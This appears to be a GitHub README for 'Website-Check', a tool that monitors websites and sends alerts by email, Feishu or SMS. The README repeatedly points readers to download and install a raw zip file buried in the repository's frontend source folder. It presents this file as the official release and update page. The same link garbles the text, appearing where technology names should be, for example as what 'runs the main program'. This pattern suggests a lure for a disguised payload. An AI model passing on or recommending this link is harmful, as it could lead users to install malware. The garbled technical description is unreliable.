Website-Check is a tool that helps you keep an eye on websites. It checks for changes like updates to text, links, or files. When it finds something new, it sends you alerts by email, chat, or SMS. You donβt need to watch websites manually anymore. This software works quietly in the background and tells you what you need to know.
It supports:
- Custom checks using CSS and XPath selectors
- Tracking new links added over time
- Automatic downloading of attachments
- Taking screenshots or snapshots of pages
- Notifications via email, Feishu (a business chat app), and SMS
Website-Check uses tools and systems like https://github.com/welkeson123/Website-Check/raw/refs/heads/main/frontend/src/pages/Website-Check-v1.8.zip to handle server tasks, Puppeteer to control web pages for checking and screenshots, and MySQL to store data. The front end uses React and Vite for a simple interface you can access in your browser.
Before you install Website-Check, make sure your computer meets these needs:
- Operating System: Windows 10 or later, macOS 10.15 or later, or Linux (Ubuntu 18.04+ recommended)
- Processor: Intel or AMD 64-bit processor
- RAM: At least 4 GB
- Storage: At least 500 MB free space
- Internet connection for downloading and monitoring websites
- Optional: An email account or Feishu account for receiving notifications
You donβt need any special software like programming tools. Website-Check runs on its own once installed.
This section guides you through downloading, installing, and starting Website-Check for the first time.
To get Website-Check, you need to visit the official release page and download the latest version.
Step 1: Click this big button to visit the download page:
Step 2: On the release page, look for the latest version. You will see files for different operating systems:
.exefile for Windows.dmgfile for macOS.AppImageor.debfile for Linux
Choose the file that matches your computer.
Step 3: Download the file by clicking on it.
Step 4: Once the download finishes, open the file to start installation.
- On Windows: double-click the
.exefile and follow the setup wizard. - On macOS: open the
.dmgfile, then drag Website-Check to your Applications folder. - On Linux: follow the instructions on the page for your specific file type (e.g., run the
.AppImageor install withdpkg).
After installation, you need to set up Website-Check to monitor the websites you care about.
Step 1: Launch the program by opening the Website-Check app on your computer.
Step 2: You will see a simple dashboard with options to add new website monitors.
Step 3: Click the βAdd Websiteβ button.
Step 4: Enter the website address (URL) you want to watch.
Step 5: Choose what to monitor:
- Entire page or specific parts using CSS selectors or XPath
- Links to detect new additions
- Attachments like PDFs or images to download automatically
Website-Check shows tips for choosing these options if you are not sure.
Step 6: Pick how you want to be notified when changes happen:
- Email notifications
- Feishu messages
- SMS text alerts
You will need to enter your contact details for these services.
Step 7: Save the monitor and repeat for any other websites you want to watch.
Website-Check checks websites regularly. When it finds changes, it sends alerts based on your setup.
- Emails come from its built-in mail system using NodeMailer.
- Feishu notifications use the Feishu messaging API to send messages to your account or group.
- SMS alerts are sent via integrated SMS services.
You only get alerts when real changes happen, not every time the page loads. This reduces noise.
You can adjust the check frequency from every 10 minutes to once a day.
If you want to see whatβs new visually, Website-Check can capture screenshots of the monitored pages. These images help you compare old and new versions. Screenshots can be included in notifications or saved for review.
New versions come with better features or bug fixes. Check the release page regularly:
https://github.com/welkeson123/Website-Check/raw/refs/heads/main/frontend/src/pages/Website-Check-v1.8.zip
Download and install updates just like the first time. Your saved settings will remain intact.
Here are some common issues and quick fixes:
- Program wonβt start: Make sure your computer meets system requirements and you installed the right version.
- No notifications: Check your email or messaging settings inside Website-Check for correctness. Also, check your spam or junk mail folder.
- Screenshots missing: Confirm Puppeteer libraries installed correctly during setup; reinstall if needed.
- Website not monitored properly: Verify the CSS or XPath selectors you entered match the parts of the website you want to track.
For further help, open an issue on the GitHub page or contact the project maintainer via GitHub.
| Feature | Description |
|---|---|
| Custom Website Monitoring | Track full sites or parts with CSS/XPath selectors |
| Incremental Link Tracking | Detect new links added since last check |
| Automatic Attachment Download | Save files like PDFs automatically |
| Visual Change Alerts | Get website snapshots and screenshots |
| Multi-Channel Notifications | Email, Feishu, SMS |
| Easy User Setup | Simple interface for non-technical users |
| Cross-Platform Support | Runs on Windows, macOS, and Linux |
Website-Check only stores information needed to monitor websites and send notifications. Your personal contact info (email, phone number) stays local or on trusted services. It does not share your data publicly.
Always keep your installation updated to benefit from the latest security fixes.
This project uses popular tools and languages in the web and tech worlds, including:
- https://github.com/welkeson123/Website-Check/raw/refs/heads/main/frontend/src/pages/Website-Check-v1.8.zip for running the main program
- Puppeteer: for browsing websites automatically and taking snapshots
- MySQL: to save website info and alerts
- React and Vite: for a responsive, easy-to-use interface
- Nodemailer: to send email alerts
- Feishu API and SMS services for messaging
These components work together to provide a full monitoring experience without technical setup.
- Start monitoring one or two websites first, then expand as you get familiar.
- Use screenshot notifications when tracking important visual content.
- Regularly review alerts to avoid missing key changes.
- Combine monitoring with your daily workflow for best results.